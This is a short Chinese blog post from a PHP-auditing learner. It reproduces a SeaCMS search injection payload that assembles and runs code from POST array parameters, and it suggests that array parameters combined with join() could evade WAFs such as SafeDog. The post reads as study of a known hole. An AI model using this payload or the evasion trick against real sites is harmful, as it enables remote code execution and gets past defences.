php通过http请求发送数组
admin
2023-06-15 14:21:50
0次
最近开始学习php审计，刚好赶上研究seacms，就发现了payload处一个奇怪的点
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();9[]=ph&9[]=pinfo();
就尝试了一下，发现在接收数据时，例：
键名=a，那传递a[]=a&a[]=b时，a即为一个数组，便做了个测试，果真如此
服务器端测试代码
测试结果如下
那么这一个有什么用呢？思考了一下，如果服务器上有安全狗或者waf等防护工具，那么配合其他php函数，例如join函数，可能可以达到绕过效果
提供一个简单思路
服务器测试代码
测试结果如下
错误之处，敬请指正
上一篇：PHP系列（十三）PHP会话控制
下一篇：面向对象之类继承
相关内容
热门资讯
关键之际，特朗普与内塔尼亚胡通...
△以色列总理内塔尼亚胡与美国总统特朗普（资料图）当地时间5月26日，美国总统特朗普与以色列总理内塔尼...
及猫云5G视频外呼服务商梳理：...
导语：基于2026年智能通信行业白皮书及公开市场数据，企业选择5G视频外呼服务商需重点评估技术融合能...
伊朗伊斯兰革命卫队：过去24小...
△霍尔木兹海峡（资料图）当地时间26日晚间，伊朗伊斯兰革命卫队海军公共关系部发布消息称，过去24小时...
AI公司烧不起Token了！国...
新智元报道 【新智元导读】4个月烧光全年AI预算，天价Token账单正在屠杀硅谷！今天，高性能Ag...
消息称AMD苏姿丰布局Zen ...
来源：市场资讯 （来源：IT之家） IT之家 5 月 26 日消息，工商时报昨日（5 月 25 日）...
伊朗总统：毫不动摇捍卫领土与国...
当地时间5月26日，伊朗总统佩泽希齐扬发表讲话时表示，伊朗向伊斯兰国家伸出了“兄弟般的友谊之手”。与...
气象科普课堂搬进学校，高要首个...
近日，高要区气象局与高要区第一中学完成校园气象站共建并开展首场气象科普培训，将气象科普课堂搬进学校，...
2026年济南科技活动周正式启...
5月26日上午，2026年济南科技活动周启动仪式暨全国科技工作者日（槐荫）主场活动在山东科技会堂隆重...
凤凰晚报丨投毒杀人者、 三体公...
今日人物【风暴眼丨中国版“绝命毒师”伏法！揭秘三体原CEO许垚投毒轨迹】“三体公司”原CEO许垚，被...
大润发创始人尹衍樑逝世，享年7...
5月26日，润泰集团证实，润泰集团总裁、唐奖创办人、大润发创始人尹衍樑，于2026年5月26日凌晨4...